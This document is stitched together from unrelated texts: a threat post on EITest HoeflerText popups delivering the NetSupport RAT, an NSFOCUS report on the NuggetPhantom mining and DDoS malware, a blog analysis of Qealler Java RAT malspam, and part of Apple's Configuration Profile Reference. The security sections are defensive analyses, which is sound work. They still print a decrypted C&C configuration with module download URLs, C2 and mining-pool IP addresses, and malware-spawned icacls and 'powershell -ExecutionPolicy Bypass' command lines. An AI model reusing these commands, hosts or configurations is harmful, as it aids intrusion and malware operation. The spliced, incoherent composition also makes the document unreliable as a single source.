Victims who use Microsoft Internet Explorer as their web browser will get a fake anti-virus alert with a phone number for a tech support scam. Victims using Google Chrome as their browser will get a fake HoeflerText popup that offers malware disguised as Font_Chrome.exe. Current samples of Font_Chrome.exe are file downloaders. They retrieve follow-up malware that installs a NetSupport Manager remote access tool (RAT). NetSupport Manager is a commercially-available RAT previously associated with a malware campaign from hacked Steam accounts last year. For the August 2017 HoeflerText popups, we have found two examples of the file downloader and two examples of follow-up malware to install NetSupport Manager RAT. **Conclusion** Users should be aware of this ongoing threat. Be suspicious of popup messages in Google Chrome that state: The "HoeflerText" font wasn't found. Since this is a RAT, infected users will probably not notice any change in their day-to-day computer use. If the NetSupport Manager RAT is found on your Windows host, it is probably related to a malware infection. It's yet to be determined why EITest HoeflerText popups changed from pushing ransomware to pushing a RAT. Ransomware is still a serious threat, and it remains the largest category of malware we see on a daily basis from mass-distribution campaigns. However, we have also noticed an increasing amount of other forms of malware in recent campaigns, especially compared to 2016. RATs give attackers more capabilities on a host and are generally much more flexible than malware designed for a single purpose. The August 2017 change by EITest HoeflerText popups represents a subtle shift where ransomware is slightly less prominent than it once was. **Indicators of Compromise** **URLs and domains to block:** - hxxp://demo.ore.edu[.]pl/book1.php - boss777[.]ga - pudgenormpers[.]com - invoktojenorm[.]com - hxxp://94.242.198[.]167/fakeurl.htm - hxxp://94.242.198[.]168/fakeurl.htm **First file downloader and follow-up malware:** - **SHA256:** 23579722efb0718204860c19a4833d20cb989d50a7c5ddd6039982cf5ca90280 - **File size:** 168,905 bytes - **File name:** Font_Chrome.exe - **File description:** Malware downloader - **SHA256:** 8cbbb24a0c515923293e9ff53ea9967be7847c7f559c8b79b258d19da245e321 - **File size:** 2,665,634 bytes - **File location:** C:\Users\[username]\AppData\Local\temp\[9 random characters].jpg.exe - **File location:** hxxp://boss777[.]ga/HELLO.exe - **File description:** Follow-up malware that installs NetSupport Manager RAT **Second file downloader and follow-up malware:** - **SHA256:** 463bef675e8e100eb30aeb6de008b9d96e3af6c3d55b50cc8a4736d7a11143a0 - **File size:** 169,796 bytes - **File name:** Font_Chrome.exe - **File description:** Malware downloader - **SHA256:** 8188732c8f9e15780bea49aced3ef26940a31c18cf618e2c51ae7f69ef53ea10 - **File size:** 2,665,612 bytes - **File location:** C:\Users\[username]\AppData\Local\temp\[9 random characters].jpg.exe - **File location:** hxxp://boss777[.]ga/joined1.exe - **File description:** Follow-up malware that installs NetSupport Manager RAT **Directories seen so far for NetSupport Manager RAT on an infected host:** - C:\Users\[username]\AppData\Roaming\AppleDesk1 - C:\Users\[username]\AppData\Roaming\AppleDesk2
# NuggetPhantom Analysis Report ## Change History | Date | Issue | Description | Prepared/Modified By | |------------|-------|-----------------------------------------------------------|-----------------------| | 2018-09-10 | 1.0 | Initial draft. | Wang Zhongshi | | 2018-09-20 | 3.0 | Adjusted the document structure. | Wang Zhongshi | | 2018-10-08 | 4.1 | Modified the description of the cryptomining module and added IP addresses of the latest mining pools. | Wang Zhongshi | ## 1 Overview ### 1.1 Executive Summary In a recent emergency response activity, NSFOCUS Threat Intelligence center (NTI) discovered a security event that featured NuggetPhantom, a modularized malware toolkit. According to our observation, the organization behind this event made its debut at the end of 2016 in the blue screen of death (BSOD) event that targeted Tianyi Campus clients, and was again involved in another security event that leveraged Tianyi Campus clients to mine cryptocurrency at the end of 2017. Having captured and analyzed malware carriers frequently used by this organization, we believe that its malware toolkit has been highly modularized and so delivers high flexibility. This toolkit not only features anti-antivirus techniques but also employs many concealment approaches, as demonstrated in its capability of defeating security devices that work based on behavior detection and traffic analysis. As for target selection, this organization, as a disciple of the principle of "man is the measure of security", took its first step by identifying less professional users according to the security of their devices. Then it attempted to attack these users by exploiting an N-day vulnerability with EternalBlue. Besides, to better hide itself and evade detection, the organization tried to lower the impact of malware on users at the expense of financial gains. ### 1.2 Kill Chain After finding that the operating system on a user's computer contains the EternalBlue vulnerability, the attacker exploits this vulnerability to send Eternal_Blue_Payload to the victim computer. Next, this payload drops all modules, which subsequently access the download server to obtain their respective encrypted files and then dynamically decrypt them in memory before executing related malicious functions. Following is a flowchart of the entire attack process. Obviously, this attack procedure is fully consistent with the classic kill chain: - **Reconnaissance**: Through scanning and open-source data, the attacker finds a large number of computers on the Internet that still contain the EternalBlue vulnerability. - **Weaponization**: The attacker crafts payloads specific to these vulnerable computers. - **Delivery**: The attacker loads the malware with all its modules to his/her own server. - **Exploitation**: The attacker exploits the EternalBlue vulnerability to attack targets one by one by executing the downloader exploit payload. - **Installation**: The downloader exploit payload downloads malware and instructs it to deploy its own modules. - **Command and Control**: The malware communicates with the attacker's command and control (C&C) server to obtain instructions and cryptomining configurations. - **Actions on Objective**: The malware mines cryptocurrency and conducts distributed denial-of-service (DDoS) attacks. ### 1.3 Scope of Impact The domain *.woeswm.com, which is associated with the IP address 60.132.11.86 (98.126.200.58 after escaping) of the core C&C server used in this campaign, is found to have initiated 18,933 domain resolution requests since June 20, 2018 to one DNS server under our observation. From this number, we can infer that no less than 100,000 devices have been infected around the world. ### 1.4 Development of the Hacking Organization A look into sample behaviors and modules reused by the captured samples finds that the BSOD event of Tianyi Campus clients at the end of 2016, the event of Tianyi Campus clients planted with a cryptomining program at the end of 2017, and this event all point to the same organization. The following table lists the development of this organization based on these three events. | Time | Compatibility | Degree of Modularization | Encryption Method | Malicious Function | Stealth Capability | Attack Method | Target Group | |---------------|---------------|-------------------------|-------------------|--------------------|--------------------|---------------|--------------| | End of 2016 | Poor | - | - | - | Low | Planted into Tianyi Campus clients | College students' PCs | | End of 2017 | Good | Having modules loosely coupled | Custom encryption algorithm | Cryptomining and invalid traffic generating | Medium | Planted into Tianyi Campus clients | College students' PCs | | Present | Good | Fully modularized | Standard encryption algorithm | Cryptomining and DDoS launching | High | Exploitation of the EternalBlue vulnerability | Neglected devices | For the success of its hacking activities, the organization began to test malware modules in 2016. However, at the beta test stage, the compatibility issue of the rootkit driver, a key component of the malware, caused a large number of computers running Windows 10 to be locked up with BSOD, thus exposing its traces and leading to the failure of the planned campaign. To avoid detection, the organization lay low over a long period of time subsequently. In mid-2017, it began to reengineer the driver to follow the then trend by attempting some small-scale cryptomining activities. At the end of 2017, the organization staged a comeback by planting the malware again in vulnerable Tianyi Campus clients. This time, its activities went unnoticed thanks to the enhanced compatibility of the rootkit driver. However, due to design flaws in its malicious functional modules, the cryptomining program consumed a large amount of computing resources, showing itself to users and ending up with failure. In the wake of this event, the organization went into hibernation again until July 2018, when it began to turn back to cryptomining. This time, the organization made its activities more difficult to detect by sacrificing two-thirds of gains from bot machines. In addition, based on a good understanding of Chinese users' distrust of downloaded software, it chose to use an efficient and mature exploit EternalBlue to plant malware into large quantities of unpatched computers around the world. Its target also switched from college students who may have knowledge in the related field to neglected computing devices. Such a switch was obviously a result of deep consideration. We believe that the organization, after constantly learning from past experience, has grown into a middle to high-end hacking organization, which is made up of different roles with properly assigned duties to achieve defined objectives according to the hacking trend. ## 2 Sample Analysis ### 2.1 High Level of Modularization This malware toolkit has been highly modularized and so the tools can be flexibly configured. In terms of functionality, the toolkit consists of three types of modules for deployment, download, and function implementation respectively. The deployment module initializes malicious configurations and loads the rootkit driver for the purpose of hiding the malware. The download module obtains, loads, and calls functional modules from the C&C server to fulfill attacker-specified tasks. Thanks to modularization, the toolkit delivers high flexibility for attack task deployment. In other words, the attacker can call different functional modules for different purposes. This makes it rather difficult for us to have a holistic view of the attacker from a single attack event. The following sections analyze the three modules briefly to profile the attacker in the technical aspect. ### 2.2 Careful Deployment to Evade Detection The first file planted in victim computers is the deployment module, which employs the following techniques and methods to hide the malware's malicious behavior and static signature, thereby evading analysis and detection: - **Execution upon restart**: Through MSI configuration, the sample can execute malicious activities only after users manually restart their computers. Such a design is for the purpose of bypassing behavior-based detection in sandbox environments. - **Code protection**: The sample uses VMProtect to protect service programs planted in victim computers to evade static analysis and antivirus software's detection on the one hand and to make manual sample analysis more difficult on the other hand. - **File name check**: The sample checks its own file name to see whether it is the same as the hardcoded one as expected. If not, no malicious behavior will be performed. This can help evade analysis by some sandboxes. - **Drop during execution**: To evade static analysis, the sample dynamically decompresses and drops files and at the same time employs the process hollowing technique to inject code. - **Driver-level hiding**: By loading a driver to hook IRP_MJ_CREATE and inject service.exe and regedit.exe, the sample hides service program files and registry keys, thus making it more difficult to detect and remove the malware and extract a sample. We associated this rootkit driver with another rootkit driver, which was found in the BSOD event of Tianyi Campus clients at the end of 2016. Furthermore, the rootkit driver used in the cryptomining event of Tianyi Campus clients shared the same certificate and PDB file and so was deemed to be an update of the one used in 2016. On this ground, we inferred that the three events were launched by the same organization. - **Vulnerability blocking**: The sample, by using the IPSec function of netsch.exe, runs the following command lines to block ports 135, 139, and 445 to prevent other scanning sources from exploiting the same vulnerability to compromise devices and contend for computing resources. Under protection of the preceding mechanisms, the deployment module injects inject_downloader.dll into a child process, which seems to be launched by service.exe and is actually not, and then drops and loads the download module in this child process. ### 2.3 Flexible Configuration to Hide True Identity The download module obtains files and configurations of malware modules. This module not only keeps a traditional C&C address pool to prepare for the situation where a server may fail but also uses a special hiding method to prevent users from blocking communication with C&C servers and defeat threat intelligence platforms that can associate IP addresses resolved from domain names with samples. This method is called "address escaping", whose working principle is quite simple: The attacker first specifies a public server to query the domain name of a C&C server. After obtaining the network address X (60.132.11.86), the mechanism subtracts the magic value (0x305DA) from the hexadecimal representation of X before getting Y (98.126.200.58), the real IP address of the C&C server. The download module communicates with Y to obtain modules necessary for performing the task in question. In this process, the IP address directly resolved from the domain name of the C&C server is not actually used for communication. Therefore, infected computers cannot stop communicating with the C&C server by blocking this IP address. In addition, victims cannot block access to the public DNS server for fear of affecting normal business. As a result, malicious traffic is successfully exchanged between victim computers and the C&C server. The sample compresses and encrypts the communication, which, after decryption, reads as follows: ``` 888$30$20180618$6$CpuGad$http://Up.Vohjtk.Com/RetGad/CpuGad/20180618.6/MsGad.PNG|$http://Up.Vohjtk.Com/RetGad/CpuGad/20180618.6/MsRun.PNG|$|http://98.126.36.26:443/BuyGad/CoreRA07.PNG?RAT2018RA07?1?1?6?6#0#1#|http://Ae.Eqwauemt.Com/BuyGad/CoreRD09.PNG?RAT2018RD09?1?1?6?6#1#0#|http://Up.Vohjtk.Com/BuyGad/CoreE011.PNG?CPU2018E011?1?1?6?6#1#0#|$5633c2d7ee994d04$$3$0$1$1$1$223.39.186.123#7.255.184.172#157.129.241.108#157.129.236.128#157.129.219.175#157.129.212.103#147.88.219.209#119.125.74.121#69.187.163.188#$2018-01-01 00:00:06$ ``` Clearly, the sample uses this function to access a lot of URLs to download different modules, which will be decompressed and dropped locally to perform various malicious functions. Which modules are to be dropped is totally up to the attacker. Their programs take the form of executables or scripts. At the same time, the sample obtains some IP addresses and escapes them into real ones using the aforementioned address escaping method. Then the sample encrypts and stores these addresses in the registry and uses them as C&C servers of the cryptomining module to obtain the latest configuration information of the latter. Following are real IP addresses obtained through address escaping: - 5.34.183.123 - 45.249.181.172 - 195.123.238.108 - 195.123.233.128 - 195.123.216.175 - 195.123.209.103 - 185.82.216.209 - 157.119.71.121 - 107.181.160.188 - 154.48.241.199 - 137.175.66.15 ### 2.4 Sacrifice of Present Gains to Remain Unnoticed The cryptomining module is decompressed and executed by inject_loader.dll. Unlike other cryptomining programs, this module employs some special tactics to enhance flexibility and secrecy: - **Dynamic configuration**: The sample accesses C&C servers listed in the registry to obtain configuration information of the cryptomining module in real time, including the algorithm type, mining pool addresses, and online wallet user names. Users can hardly block such cryptomining behavior by blacklisting known mining pool addresses. - **Controlled resource usage**: By setting cryptomining parameters, the attacker keeps the CPU usage by the cryptomining module at a relatively low level (25%) to prevent users from detecting it because of a sudden drop of computer performance. According to our observation, C&C servers of the cryptomining module have issued the following configuration information, where Wk is a fixed string of characters, which, together with the attacker-specified offset, constitutes an online wallet user name. The offset, if not configured, is 1000 by default. | Mining Pool Address | Online Wallet User Name | Password | |-------------------------|-------------------------|----------| | 98.126.80.90:15912 | Wk+1000 | X | | 98.126.80.91:15912 | Wk+1000 | X | | 98.126.1.26:15912 | Wk+1000 | X | | 98.126.1.27:15917 | Wk+1000 | X | | 154.48.241.199:15912 | Wk+1000 | X | The IP addresses listed in the table are all verified to be mining pools set up by the attacker by using a leased virtual private server (VPS). These mining pool nodes are not configured with gains query interfaces that are common with public mining pools. Therefore, the attacker needs to log in to the server to query current gains by remote means such as remote desktop connection (available on port 55588). This ensures that other users cannot get more information about the attacker, such as his/her total gains, Monero wallet addresses, and the number of miners, through mining pool addresses, user names, and passwords disclosed in network traffic. However, as the major functionality of the cryptomining module was reengineered from that of XMRIG, the traffic generated is also in plaintext so that users can detect related sessions and generate alerts on and block each new mining pool address. ### 2.5 All Covet, All Lose Besides the cryptomining module that stars in this attack, we find an additional module for launching DDoS attacks. This module is also decompressed and executed locally by inject_loader.dll. It accesses the attacker-specified C&C server to download an independently running EXE file to perform the assumed function. Different from the cryptomining module that is tightly coupled with the download module through C&C configuration, the DDoS module has its configuration information directly hardcoded into a binary file so as to be executed independently of other modules without needing any injection. For this reason, we determine that this module plays a secondary role in this attack. Such a design results from the attacker's desire to maximize the value of bots by using their computing resources to mine cryptocurrency on the one hand and using their bandwidth resources to conduct DDoS attacks for additional gains on the other hand. Unluckily, this module is not protected with any technique. Even worse, real IP addresses of its C&C servers are not masked by means of address escaping, but hardcoded into a binary file. In fact, it was due to this module that we were able to track down the attacker and make breakthroughs in our analysis. Observing the communication process, we found that this module used the same compression and encryption algorithms and keys as other modules. Obviously, they were written by the same author. Considering the difference between this module and other modules described in preceding sections in security and its hardcoded information, we concluded that it was a beta test version that implemented malicious functions without any protection mechanism. This module can initiate the following types of DDoS attacks: ## 3 Attacker Location According to NTI, the IP address of the major C&C server used in these attacks is located in the USA. The result returned by NTI in response to our search reveals that names appearing on web pages hosted at this IP address comply with the Chinese naming convention (scanning result of July 16, 2018, the same date when the malicious sample was released). Therefore, a conclusion can be drawn that this organization has long targeted victims in China. ## 4 Conclusion From the preceding analysis, we can draw the following conclusions: - **Vulnerability**: The EternalBlue vulnerability, as a critical one disclosed in early 2017, has been exploited by very efficient toolkits and has attracted a wide range of scanning sources. Up to now, hackers' zeal for it has not abated as there are still a large number of unpatched Windows devices worldwide. - **Tools**: Programs and tools used for malicious purposes are undergoing a major change in their structure. Traditionally, all necessary functions are built into a package and used as a whole. Now, they have functions modularized for higher flexibility. For one campaign, an attacker needs only to plant a controlled loader program that seldom carries out malicious activities but requests necessary modules in real time. Functional modules can be loaded or uninstalled depending on the information collection progress, the purpose of the task, and the trend of the hacking industry. Security devices analyze attacks only after they actually happen. Such a reactive process makes it difficult to get a whole picture of events no matter how extensive and intensive the analysis is. - **Industry**: Cryptomining is usually considered a hacking industry that has a low entry barrier and does not require a high skill set. Therefore, antagonistic techniques seem to be lacking in related malware. However, the case in question reveals that hacking organizations lured by the lucrative business are generous with their spending on all sorts of technical means against security products. This partly explains why the cryptomining detection rate is dropping currently. A lower detection rate does not mean that fewer such events have happened, but they are increasingly difficult to detect and perceive. - **Organization**: Full-fledged hacking organizations active in China focus more on concealment and persistence of their malicious behavior. Their purpose has turned from trying to control users' total resources to parasitizing users' computers without users' knowledge. For the purpose of persistence, they are even willing to sacrifice some gains. ## A IoC Output NTI specifies the following format for the output of indicators of compromise (IoC): ```json { "report_name": "NuggetPhantom", "alias": "", "brief": "An modularized RAT for XMRminer and DDoS", "created_time": "2018-07-16", "update_time": "2018-07-16", "keywords": ["RAT", "MINER", "DDoS"], "tag": "NuggetPhantom", "ref": [""], "info_extract": { "date": "", "hash": [ { "value": "4209ae0cb569efab29ca9d2d7f4a211b", "filename": "MsHIDPARSEApp.dll", "date": "2018-06-12", "relation": { "domain": ["Vohjtk.Com", "Eqwauemt.Com"], "ip": [ "98.126.200.58", "98.126.36.26", "5.34.183.123", "45.249.181.172", "195.123.238.108", "195.123.216.175", "195.123.209.103", "185.82.216.209", "157.119.71.121", "107.181.160.188", "154.48.241.199", "137.175.66.15" ], "vul": [ "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0146", "CVE-2017-0147", "CVE-2017-0148" ], "email": [""], "date": "" } } ], "domain": [ { "value": "Eqwauemt.com", "type": ["Malware"], "date": "2018-06-12", "relation": { "ip": ["104.18.36.142"], "email": [""], "date": "2018-06-12" } }, { "value": "Vohjtk.com", "type": ["Malware"], "date": "2018-06-12", "relation": { "ip": ["104.27.165.31"], "email": [""], "date": "2018-06-12" } } ], "ip": [ {"value": "98.126.200.58", "type": ["C&C", "Malware"], "date": "2018-06-12"}, {"value": "98.126.36.26", "type": ["C&C", "Malware", "DDoS", "Botnets"], "date": "2018-06-12"}, {"value": "5.34.183.123", "type": ["C&C"], "date": "2018-06-12"}, {"value": "45.249.181.172", "type": ["C&C"], "date": "2018-06-12"}, {"value": "195.123.238.108", "type": ["C&C"], "date": "2018-06-12"}, {"value": "195.123.216.175", "type": ["C&C"], "date": "2018-06-12"}, {"value": "195.123.209.103", "type": ["C&C"], "date": "2018-06-12"}, {"value": "185.82.216.209", "type": ["C&C"], "date": "2018-06-12"}, {"value": "157.119.71.121", "type": ["C&C"], "date": "2018-06-12"}, {"value": "107.181.160.188", "type": ["C&C"], "date": "2018-06-12"}, {"value": "154.48.241.199", "type": ["C&C"], "date": "2018-06-12"}, {"value": "137.175.66.15", "type": ["C&C"], "date": "2018-06-12"}, {"value": "98.126.80.90", "type": ["C&C"], "date": "2018-06-12"}, {"value": "98.126.80.91", "type": ["C&C"], "date": "2018-06-12"}, {"value": "154.48.241.199", "type": ["C&C"], "date": "2018-06-12"} ] } } ``` ## B References - [NTI NSFOCUS](https://nti.nsfocus.com/ip?query=98.126.200.58&type=all)
# 2020-04-06 Qealler RAT Malspam **From:** Bharti Ladwa **Subject:** EFT Supplier Number: 0003697 **Malware type:** Qealler Basically this is a Java RAT. Below are some additional resources that explain how this type of malware works. Earlier today I came across a phishing email that had contained an embedded image which had a malicious link in it. Once it was clicked on, the site automatically redirected to another site which then proceeded to download a JAR file. I tried to deobfuscate the Java code in my VM but did not get anywhere fast. Knowing that this was a RAT of some sort, I shifted gears and decided to run this on my Windows 7 VM. When executing the malware, the initial process that ran was Java. It was later seen that the Java process also called icacls, CMD, and Powershell. The following outlines what the Java process was doing. - `javaw.exe` –> `C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant “everyone”:(OI)(CI)M` What this looks to be doing is setting the permissions for the “.oracle_jre_usage” folder to “EVERYONE” also allowing for inheritance from the parent folder and from the container (this folder and subfolders) and allowing for modify permissions. - `javaw.exe` –> `cmd.exe /c chcp 1252 > NUL & powershell.exe -ExecutionPolicy Bypass -NoExit -NoProfile -Command –` So the CMD is changing the language set of the system to West European Latin and then starting PoSH to get what looks to be IE history. **Note:** I had not seen a Java RAT spawn a PoSH process in order to do this. Pretty cool trick to say the least and makes complete sense to be honest. From what I can tell there is no persistence with this malware. So while it is running (the Java process), it is also performing encrypted/encoded network calls to the IP address of 198.199.101.103 via TCP port 80. Since I was not able to ID what this malware was, I reached out to some other researchers on Twitter. After one of the researchers was able to ID what this was, @James_inthe_box was able to pull some interesting strings from the process via a memory dump (I am assuming here) as seen in the tweet here. At this time I had already stopped the process from running. So I went and downloaded an application for Windows called strings2. I then started the malicious Java file again and let it spawn 3 or 4 threads that were calling out and connecting to the 198.199.101.103 address. I then suspended it and proceeded to dump the strings from the process. Once the log file from this was obtained, I used a strings script that James has been using for a long while now to search for interesting strings. After looking at the output from this script, I managed to clean the output up some using the following command: ``` ./search <path to log file> java_process.log | grep -i -v -E 'sun|jna|java/lang|element|button|<' | grep -i ".class" ``` This gave me the following output: ``` 12621 java.class.path 12753 java.class.path 12786 java.class.path 13631 java.cls.loadedClasses 18762 C:\Program Files\Java\jre1.8.0_221\bin\server\classes.jsa 18850 Classes redefined 27001 java.cls.loadedClasses 27025 java.cls.unloadedClasses 27051 java.cls.sharedLoadedClasses 27081 java.cls.sharedUnloadedClasses 34077 java.property.java.class.path 52988 COMTASKSWINDOWCLASS 53165 OleMainThreadWndClass 53189 CicLoaderWndClass 53214 CicMarshalWndClass 53288 CicMarshalWndClass 53354 CLIPBRDWNDCLASS 53371 TrayClockWClass 53412 OleMainThreadWndClass 53453 tooltips_class32 53561 OleDdeWndClass 53628 CicMarshalWndClass 53648 MSTaskSwWClass 53664 MSTaskListWClass 54020 ShellTabWindowClass 54042 CabinetWClass 54202 SearchEditBoxWrapperClass 54269 %OleMainThreadWndClass 54410 VBoxTrayToolWndClass 54466 OleMainThreadWndClass 54556 BrowserFrameGripperClass 54611 VBoxSharedClipboardClass 54665 CLIPBRDWNDCLASS 54818 tooltips_class32 55062 BluetoothNotificationAreaIconWindowClass 55104 FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793} 55473 CicMarshalWndClass 55667 tooltips_class32 56061 CicMarshalWndClass 56224 CLIPBRDWNDCLASS 56252 OleMainThreadWndClass 56281 TreeListWindowClass 56303 GraphWindowClass 56327 TreeListWindowClass 56349 GraphWindowClass 56396 PROCMON_WINDOW_CLASS 56418 CicMarshalWndClass 56533 CLIPBRDWNDCLASS 56591 tooltips_class32 56865 Groove.Class.BroadcastServices.BroadcastReceiver 56915 tooltips_class32 57104 VirtualConsoleClassBack 57151 CicMarshalWndClass 57177 DUIViewWndClassName 57260 %OleMainThreadWndClass 57499 DUIViewWndClassName 57678 SearchEditBoxWrapperClass 57855 VirtualConsoleClassGhost 58028 VirtualConsoleClass 58049 OleMainThreadWndClass 58092 VirtualConsoleClassWork 58117 !CLIPBRDWNDCLASS 58212 Class 58233 ConsoleWindowClass 59163 Main-Class: fun.slip.iron.desk.due.bowl.bus.Commoner 59372 -Djava.class.path=. 64275 Main-Class 64329 -Djava.class.path=C:\Users\Bill\Desktop\PAYMENT_119091031_JFR.jar ``` This output contains various class paths and loaded classes related to the Java process.
# Configuration Profile Reference ## Developer Contents ### Configuration Profile Keys - **PayloadContent**: Array. Optional. Array of payload dictionaries. Not present if IsEncrypted is true. - **PayloadDescription**: String. Optional. A description of the profile, shown on the detail screen for the profile. This should be descriptive enough to help the user decide whether to install the profile. - **PayloadDisplayName**: String. Optional. A human-readable name for the profile. This value is displayed on the detail screen. It does not have to be unique. - **PayloadExpirationDate**: Date. Optional. A date on which a profile is considered to have expired and can be updated over the air. This key is only used if the profile is delivered via over-the-air profile delivery. - **PayloadIdentifier**: String. A reverse-DNS style identifier (com.example.myprofile, for example) that identifies the profile. This string is used to determine whether a new profile should replace an existing one or should be added. - **PayloadOrganization**: String. Optional. A human-readable string containing the name of the organization that provided the profile. - **PayloadUUID**: String. A globally unique identifier for the profile. The actual content is unimportant, but it must be globally unique. In macOS, you can use uuidgen to generate reasonable UUIDs. - **PayloadRemovalDisallowed**: Boolean. Optional. Supervised only. If present and set to true, the user cannot delete the profile (unless the profile has a removal password and the user provides it). - **PayloadType**: String. The only supported value is Configuration. - **PayloadVersion**: Integer. The version number of the profile format. This describes the version of the configuration profile as a whole, not of the individual profiles within it. Currently, this value should be 1. - **PayloadScope**: String. Optional. Determines if the profile should be installed for the system or the user. In many cases, it determines the location of the certificate items, such as keychains. Though it is not possible to declare different payload scopes, payloads, like VPN, may automatically install their items in both scopes if needed. Legal values are System and User, with User as the default value. Availability: Available in macOS 10.7 and later. - **RemovalDate**: Date. Optional. The date on which the profile will be automatically removed. - **DurationUntilRemoval**: Float. Optional. Number of seconds until the profile is automatically removed. If the RemovalDate key is present, whichever field yields the earliest date will be used. - **ConsentText**: Dictionary. Optional. A dictionary containing the following keys and values: - For each language in which a consent or license agreement is available, a key consisting of the IETF BCP 47 identifier for that language (for example, en or jp) and a value consisting of the agreement localized to that language. - The optional key default with its value consisting of the unlocalized agreement (usually in en). ### Payload Dictionary Keys Common to All Payloads - **PayloadType**: String. The payload type. The payload types are described in Payload-Specific Property Keys. - **PayloadVersion**: Integer. The version number of the individual payload. A profile can consist of payloads with different version numbers. - **PayloadIdentifier**: String. A reverse-DNS style identifier for the specific payload. It is usually the same identifier as the root-level PayloadIdentifier value with an additional component appended. - **PayloadUUID**: String. A globally unique identifier for the payload. The actual content is unimportant, but it must be globally unique. - **PayloadDisplayName**: String. A human-readable name for the profile payload. This name is displayed on the detail screen. It does not have to be unique. - **PayloadDescription**: String. Optional. A human-readable description of this payload. This description is shown on the detail screen. - **PayloadOrganization**: String. Optional. A human-readable string containing the name of the organization that provided the profile. The payload organization for a payload need not match the payload organization in the enclosing profile. ### Payload-Specific Property Keys In addition to the standard payload keys (described in Payload Dictionary Keys Common to All Payloads), each payload type contains keys that are specific to that payload type. The sections that follow describe those payload-specific keys. #### Active Directory Certificate Profile Payload The Active Directory Certificate Profile payload is designated by specifying `com.apple.ADCertificate.managed` as the PayloadType value. You can request a certificate from a Microsoft Certificate Authority (CA) using DCE/RPC and the Active Directory Certificate profile payload instructions. This payload includes the following unique keys: - **AllowAllAppsAccess**: Boolean. If true, apps have access to the private key. - **CertServer**: String. Fully qualified hostname of the Active Directory issuing CA. - **CertTemplate**: String. Template Name as it appears in the General tab of the template's object in the Certificate Templates' Microsoft Management Console snap-in component. - **CertificateAcquisitionMechanism**: String. Most commonly RPC. If using ‘Web enrollment,’ HTTP. - **CertificateAuthority**: String. Name of the CA. This value is determined from the Common Name (CN) of the Active Directory entry. - **CertificateRenewalTimeInterval**: Integer. Number of days in advance of certificate expiration that the notification center will notify the user. - **Description**: String. User-friendly description of the certification identity. - **KeyIsExtractable**: Boolean. If true, the private key can be exported. - **PromptForCredentials**: Boolean. This key applies only to user certificates where Manual Download is the chosen method of profile delivery. If true, the user will be prompted for credentials when the profile is installed. Omit this key for computer certificates. - **Keysize**: Integer. Optional; defaults to 2048. The RSA key size for the Certificate Signing Request (CSR). - **EnableAutoRenewal**: Boolean. Optional. If set to true, the certificate obtained with this payload will attempt auto-renewal. Only applies to device Active Directory certificate payloads. #### AirPlay Payload The AirPlay payload is designated by specifying `com.apple.airplay` as the PayloadType value. This payload is supported on iOS 7.0 and later and on macOS 10.10 and later. - **Whitelist**: Array of Dictionaries. Optional. Supervised only (ignored otherwise). If present, only AirPlay destinations present in this list are available to the device. - **Passwords**: Array of Dictionaries. Optional. If present, sets passwords for known AirPlay destinations. Each entry in the Whitelist array is a dictionary that can contain the following fields: - **DeviceID**: String. The DeviceID of the AirPlay destination, in the format xx:xx:xx:xx:xx:xx. This field is not case sensitive. Each entry in the Passwords array is a dictionary that contains the following fields: - **DeviceName**: String. The name of the AirPlay destination (used on iOS). - **DeviceID**: String. The DeviceID of the AirPlay destination (used on macOS). - **Password**: String. The password for the AirPlay destination. #### AirPlay Security Payload The AirPlay Security payload locks the Apple TV to a particular style of AirPlay Security. The AirPlay Security payload is designated by specifying `com.apple.airplay.security` as the PayloadType value. This payload is supported on tvOS 11.0 and later. In addition to the settings common to all payloads, this payload defines the following keys: - **SecurityType**: String. Required. Must be one of the defined values: PASSCODE_ONCE, PASSCODE_ALWAYS, or PASSWORD. - **AccessType**: String. Required. Must be one of the defined values: ANY or WIFI_ONLY. - **Password**: String. Optional. The AirPlay password. Required if SecurityType is PASSWORD. #### AirPrint Payload The AirPrint payload adds AirPrint printers to the user's AirPrint printer list. This makes it easier to support environments where the printers and the devices are on different subnets. An AirPrint payload is designated by specifying `com.apple.airprint` as the PayloadType value. This payload is supported on iOS 7.0 and later and on macOS 10.10 and later. - **AirPrint**: Array of Dictionaries. An array of AirPrint printers that should always be shown. Each dictionary in the AirPrint array must contain the following keys and values: - **IPAddress**: String. The IP Address of the AirPrint destination. - **ResourcePath**: String. The Resource Path associated with the printer. #### App Lock Payload The App Lock payload is designated by specifying `com.apple.app.lock` as the PayloadType value. Only one of this payload type can be installed at any time. This payload can be installed only on a Supervised device. By installing an app lock payload, the device is locked to a single application until the payload is removed. The home button is disabled, and the device returns to the specified application automatically upon wake or reboot. This payload is supported only on iOS 6.0 and later. The payload contains the following key: - **App**: Dictionary. A dictionary containing information about the app. The App dictionary, in turn, contains the following key: - **Identifier**: String. The bundle identifier of the application. ### Additional Payloads - **App Store Payload**: Establishes macOS App Store restrictions. - **Autonomous Single App Mode**: Grants Autonomous Single App Mode capabilities for specific applications. - **CalDAV Payload**: Configures a CalDAV account. - **CardDAV Payload**: Configures a CardDAV account. - **Cellular Payload**: Configures cellular network settings for the user-selected data SIM on the device. - **Certificate Payload**: Contains certificate information. - **Certificate Preference Payload**: Identifies a Certificate Preference item in the user's keychain. - **Certificate Transparency Payload**: Controls Certificate Transparency enforcement. - **Conference Room Display Payload**: Configures an Apple TV to enter Conference Room Display mode. - **Content Caching Payload**: Configures the Content Caching service. - **Desktop Payload**: Sets up macOS Desktop settings and restrictions. - **DNS Proxy Payload**: Sets up iOS DNS Proxy settings. - **Dock Payload**: Configures the Dock settings. - **Education Configuration Payload**: Defines users, groups, and departments within an educational organization. ### Note This document was previously titled iPhone Configuration Profile Reference. It now supports both iOS and macOS. A configuration profile is an XML file that allows you to distribute configuration information. If you need to configure a large number of devices or to provide lots of custom email settings, network settings, or certificates to a large number of devices, configuration profiles are an easy way to do it.
